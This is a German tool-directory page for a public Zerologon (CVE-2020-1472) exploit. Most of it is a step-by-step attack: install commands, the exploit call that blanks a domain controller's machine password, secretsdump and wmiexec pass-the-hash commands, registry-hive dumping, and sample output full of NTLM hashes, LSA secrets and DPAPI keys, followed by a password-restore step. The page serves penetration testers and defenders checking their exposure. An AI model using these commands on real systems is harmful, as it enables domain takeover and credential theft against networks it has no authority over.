Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2020-1472 — Exploit-Code für CVE-2020-1472, auch bekannt als Zerologon | Kitploit
Tools/GitHubGitHub/voidsec/cve-2020-1472
PasswortangriffeSchwachstellenanalyseExploitationPenetrationstests
GitHubvoidsec/cve-2020-1472

CVE-2020-1472

Exploit-Code für CVE-2020-1472, auch bekannt als Zerologon

Repository anzeigen
396632vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Webseite

CVE-2020-1472

Prüf- und Exploit-Code für CVE-2020-1472 alias Zerologon

Testet, ob ein Domänencontroller für den Zerologon-Angriff anfällig ist. Falls angreifbar, setzt es das Kennwort des Domänencontroller-Kontos auf eine leere Zeichenfolge zurück.

HINWEIS: Es wird wahrscheinlich Dinge in Produktionsumgebungen beeinträchtigen (z. B. DNS-Funktionalität, Kommunikation mit replizierenden Domänencontrollern usw.); Ziel-Clients können sich dann nicht mehr bei der Domäne authentifizieren und können nur durch manuelle Aktionen neu synchronisiert werden. Wenn Sie mehr darüber erfahren möchten, wie der Zerologon-Angriff Dinge beeinträchtigt, danke an die großartige Arbeit von @_dirkjan, können Sie es HIER lesen.

Ursprüngliche Forschung und Whitepaper zu Zerologon von Secura (Tom Tervoort) - https://www.secura.com/blog/zero-logon

asciicast

Exploit

Es wird versucht, die Netlogon-Authentifizierung zu umgehen. Wenn ein Domänencontroller gepatcht ist, gibt das Erkennungsskript nach dem Senden von 2000 Paaren von RPC-Aufrufen auf und schlussfolgert, dass das Ziel nicht anfällig ist (mit einer Wahrscheinlichkeit für falsch negative Ergebnisse von 0,04%).

Der Exploit ist nur erfolgreich, wenn der Domänencontroller das in Active Directory gespeicherte Kennwort zur Überprüfung des Anmeldeversuchs verwendet, anstatt des lokal gespeicherten, da bei einer solchen Kennwortänderung nur das AD-Kennwort geändert wird. Das anvisierte System selbst speichert sein ursprüngliches Kennwort weiterhin lokal.

Installation

Erfordert Python 3.7 oder höher, virtualenv, pip und eine modifizierte Version von Impackets Bibliothek: nrpc.py (/impacket/dcerpc/v5) die neueste Version von Impacket von GitHub mit hinzugefügten Netlogon-Strukturen.

1. Installieren Sie Impacket wie folgt:

  1. git clone https://github.com/SecureAuthCorp/impacket
  2. cd impacket
  3. root@kitploit:~
    pwd 
    ~/impacket/
    
  4. virtualenv --python=python3 impacket
  5. source impacket/bin/activate
  6. pip install --upgrade pip
  7. pip install .

2. Installieren Sie das Zerologon-Exploit-Skript wie folgt:

  1. root@kitploit:~
    ~/impacket/
    
  2. cd examples
  3. git clone https://github.com/VoidSec/CVE-2020-1472
  4. cd CVE-2020-1472
  5. pip install -r requirements.txt

Ausführen des Skripts

Das Skript kann verwendet werden, um einen DC oder Backup-DC anzugreifen. Es wird wahrscheinlich auch gegen einen schreibgeschützten DC funktionieren, aber dies wurde noch nicht getestet. Der DC-Name sollte der NetBIOS-Computername sein. Ist dieser Name nicht korrekt, wird das Skript wahrscheinlich mit einem STATUS_INVALID_COMPUTER_NAME-Fehler fehlschlagen. Bei einem Domänencontroller mit dem Namen EXAMPLE-DC und der IP-Adresse 1.2.3.4 führen Sie das Skript wie folgt aus:

  • ./cve-2020-1472-exploit.py -n EXAMPLE-DC -t 1.2.3.4

Das Ausführen des Skripts sollte dazu führen, dass das Kennwort des Domänencontroller-Kontos auf eine leere Zeichenfolge zurückgesetzt wird.

Zu diesem Zeitpunkt sollten Sie Impackets secretsdump.py -no-pass -just-dc Domain/'DC_NETBIOS_NAME$'@DC_IP_ADDR ausführen können (alternativ können Sie den leeren Hash verwenden: -hashes :31d6cfe0d16ae931b73c59d7e0c089c0), das nur NTDS.DIT-Daten extrahiert (NTLM-Hashes und Kerberos-Schlüssel).

Das sollte Ihnen Domain-Admin-Zugriff verschaffen. WIN WIN WIN

Beispielausführung

root@kitploit:~
> cve-2020-1472-exploit.py -n WIN-U4Q9LLP6L2A -t 192.168.209.129
[+] Success: Zerologon Exploit completed! DC's account password has been set to an empty string.

> secretsdump.py -no-pass -just-dc ad.test.com/WIN-U4Q9LLP6L2A\[email protected]
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::

Restore:
> wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe ad.test.com/[email protected]
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save

> secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
[*] Target system bootKey: 0x31f99ee2e750274d1fee930ab88fe126
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:9b5ccb9700e3ed723df08132357ff6a1
[*] DPAPI_SYSTEM 
dpapi_machinekey:0xaf83406b2611f18ac99329079e9f47d9409e885f
dpapi_userkey:0x53ed555f11c110f918fc9a97a6c3576266930fb7
[*] NL$KM 
 0000   55 A7 DF DF 27 E2 64 C1  F7 42 F2 1B 96 76 01 4F   U...'.d..B...v.O
 0010   24 4C 5D 9B 20 E3 EA 95  DD E9 61 0F 00 8E B2 51   $L]. .....a....Q
 0020   B1 79 3F E0 37 3E CB B2  95 31 A6 74 F3 35 54 8A   .y?.7>...1.t.5T.
 0030   C1 B6 70 3D B3 AB AC C1  7E 8E 90 7A 7B 49 32 46   ..p=....~..z{I2F
NL$KM:55a7dfdf27e264c1f742f21b9676014f244c5d9b20e3ea95dde9610f008eb251b1793fe0373ecbb29531a674f335548ac1b6703db3abacc17e8e907a7b493246
[*] Cleaning up... 

> reinstall_original_pw.py WIN-U4Q9LLP6L2A 192.168.209.129 ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020

Wiederherstellung des Kennworts

Die Neuinstallation des ursprünglichen Kennwort-Hashs ist erforderlich, damit der DC normal weiterarbeiten kann.

Nachdem Sie Domain-Admin erlangt haben, können Sie wmiexec.py mit einer von secretsdump erhaltenen Anmeldeinformation auf den Ziel-DC ausführen und die folgenden Schritte durchführen:

root@kitploit:~
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save

Führen Sie aus: secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

Und das sollte Ihnen den ursprünglichen NT-Hash des Computerkontos anzeigen. Sie können diesen ursprünglichen Computerkonto-Hash dann mithilfe des hier bereitgestellten Skripts reinstall_original_pw.py wieder in der Domäne installieren. Manchmal sind mehrere Durchläufe erforderlich, bis es gelingt.

root@kitploit:~
reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH

Alternativ können Sie den folgenden Wiederherstellungsprozess verwenden.

Tool herunterladen